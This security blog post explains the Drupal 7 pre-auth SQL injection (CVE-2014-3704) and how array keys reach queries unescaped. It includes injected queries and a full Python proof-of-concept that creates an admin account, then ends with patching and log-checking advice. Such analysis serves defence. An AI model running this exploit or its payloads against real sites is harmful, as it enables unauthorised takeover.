Introduction
This vuln has been getting a lot of attention, and rightfully so. The good news is an update is available (and a supplemental patch has been released as well). The bad news is that it’s pre-auth SQLi. The basic problem is the way Drupal core 7.x versions prior to 7.32 construct a SQL query. Contrary to some claims, this is not a flaw in the use of prepared statements/parameterized queries, which are still viable options for preventing SQL injection. The flaw in this case manifests itself before the prepared statement is constructed and executed. Let me show you what I mean…
Basic Vulnerability Overview
The public function query (found in ../includes/database.inc) looks as follows:
...<snip>... $this->expandArguments($query, $args); $stmt = $this->prepareQuery($query); $stmt->execute($args, $options); ...<snip>...
As you can see, it does use a prepared statement but before doing so calls the expandArguments function (also in database.inc). Here’s an excerpt of that function:
protected function expandArguments(&$query, &$args) { $modified = FALSE; ...<snip>... foreach (array_filter($args, 'is_array') as $key => $data) { $new_keys = array(); foreach ($data as $i => $value) { ...<snip>... $new_keys[$key . '_' . $i] = $value; } ...<snip>... $query = preg_replace('#' . $key . '\b#', implode(', ', array_keys($new_keys)), $query); ...<snip>... // Update the args array with the new placeholders. unset($args[$key]); $args += $new_keys; ...<snip>...
Notice how the function parses the $args through the array_filter function before incorporating them into the query via the preg_replace function. This doesn’t pose a problem if the passed arg is not represented as an array with a defined key. For example, during login, the name parameter is passed as follows:
In the case of this login function, the query would be constructed as follows:
SELECT * FROM {users} WHERE name = :name AND status = 1
However, what happens if we were to pass the user parameter as an array with a defined key? Here’s the query after being processed by expandArguments when passing name[0] instead of name:
SELECT * FROM {users} WHERE name = :name_0 AND status = 1
As you can see, it incorporated the key value (0) directly into the sql query (by concatenating it to the parameter name with an underscore). Knowing this, we can inject crafted key values to execute SQL injection attacks. Since the login function is vulnerable, this is a pretty significant pre-auth vulnerability.
Here’s an example of how this could be used to add a user to the database:
Here’s a look at this query before being processed by the vulnerable expandArguments function:
SELECT * FROM {users} WHERE name = :name AND status = 1
And after…
SELECT * FROM {users} WHERE name = :name_0;insert into users values (99999,'pwnd','$S$DIkdNZqdxqh7Tmufxs8l1vAu0wdzxF//smWKAcjCv45KWjK0YFBg','pwnd@pwnd.pwn','','',NULL,0,0,0,1,NULL,'',0,'',NULL);# , :name_0 AND status = 1
And the result…
This being SQL injection, there are other options for exploit including data extraction. For example, here is an example of a pre-auth inference-based attack that extracts the admin user’s password hash.
Of course, success will depend on flood control and other brute-force protections employed by the site.
PoC Test Exploit Code and Video
Here’s a PoC script if you want to try the exploit for yourself on a test instance. All it does is add an admin user with password ‘pwnd’. There’s really no verification in this basic PoC script that a user is actually added so you’ll need to log in to check. A quick video demo follows.
#!/usr/bin/python # drupalSQLi.py -- a simple PoC for the Drupal SQLi vuln (CVE-2014-3704) # Author: Mike Czumak (T_v3rn1x) - @SecuritySift # You are free to share and/or reuse all or portions of this code as long as it's not for commercial purposes # Absolutely no warranty or promises of reliability, accuracy, or performance. Use at your own risk import sys import socket import urllib, urllib2 import argparse import urlparse class print_colors: SUCCESS = '\033[92m' ERROR = '\033[91m' END = '\033[0m' ################################################# ############### Args/Usage ############### ################################################# def get_args(): parser = argparse.ArgumentParser( prog="drupalSQLi.py", formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=50), epilog= ''' This script will exploit the Drupal SQL injection vulnerability (CVE-2014-3704) by adding a new user with admin privileges. Password will be `pwnd`.''') parser.add_argument("target", help="URL of target Drupal site") parser.add_argument("name", help="Username to Add") parser.add_argument("-u", "--uid", default="99999", help="User Id for new user (default = 99999)") parser.add_argument("-r", "--rid", default="3", help="rid for admin user (default = 3)") args = parser.parse_args() return args ################################################# ############### Print Function ############### ################################################# ''' universal print function with formatting ''' def print_msg (msgtype, msgcontent): endcolor = print_colors.END if msgtype == "error": startcolor = print_colors.ERROR print("%s[!] ERROR: %s%s" % (startcolor, msgcontent, endcolor)) elif msgtype == "success": startcolor = print_colors.SUCCESS print("%s[*] SUCCESS: %s%s" % (startcolor, msgcontent, endcolor)) else: print("%s" % (msgcontent)) ################################################# ############ EXPLOIT ############# ################################################# ''' SQL Injection Exploit to Add Admin User ''' def pwn_target(target, uname, uid, rid): target = target + "?destination=node" pass_hash = urllib.quote_plus("$S$DIkdNZqdxqh7Tmufxs8l1vAu0wdzxF//smWKAcjCv45KWjK0YFBg") # pass = pwnd create_user = "name[0;insert%20into%20users%20values%20("+uid+",'"+uname+"','"+pass_hash+"','pwnd@pwnd.pwn','','',NULL,0,0,0,1,NULL,'',0,'',NULL);#%20%20]=test&name[0]=test&pass=test&form_id=user_login_block&op=Log+in"; grant_privs = "name[0;insert%20into%20users_roles%20values%20("+uid+","+rid+");#%20%20]=test3&name[0]=test&pass=test&test2=test&form_build_id=&form_id=user_login_block&op=Log+in"; try: req = urllib2.Request(target, create_user) res = urllib2.urlopen(req).read() req = urllib2.Request(target, grant_privs) res = urllib2.urlopen(req).read() print_msg("success", ("Admin user '%s' should now be added with password 'pwnd' and uid of %s\nNavigate to %s and login with these credentials" % (uname, uid, target))) except: print_msg("error", ( "[%s] %s%s" % (str(target), str(sys.exc_info()[0]), str(sys.exc_info()[1])))) ################################################# ############### Main ############### ################################################# def main(): print print '=============================================================================' print '| DRUPAL SQL INJECTIION DEMO (CVE-2014-3704) |' print '| Author: Mike Czumak (T_v3rn1x) - @SecuritySift |' print '=============================================================================\n' args = get_args() # get the cl args pwn_target(args.target.strip(), args.name.strip(), args.uid.strip(), args.rid.strip()) if __name__ == '__main__': main()
Here’s a really short video demo of the above PoC code:
Conclusion
So what are the takeaways here? Well, of course upgrade or patch your installation of Drupal if it’s vulnerable. Also, while prepared statements are important tools in preventing SQL injection, they don’t do much good if you incorporate untrusted user input into the SQL query first!
If you haven’t patched yet, you may want to check your logs. The exploit may trigger an error message that looks something like this:
Check your Drupal logs for similar error messages which may indicate attempted or successful exploit attempts and look for any new accounts that may have been created or admin accounts whose passwords may have been changed recently.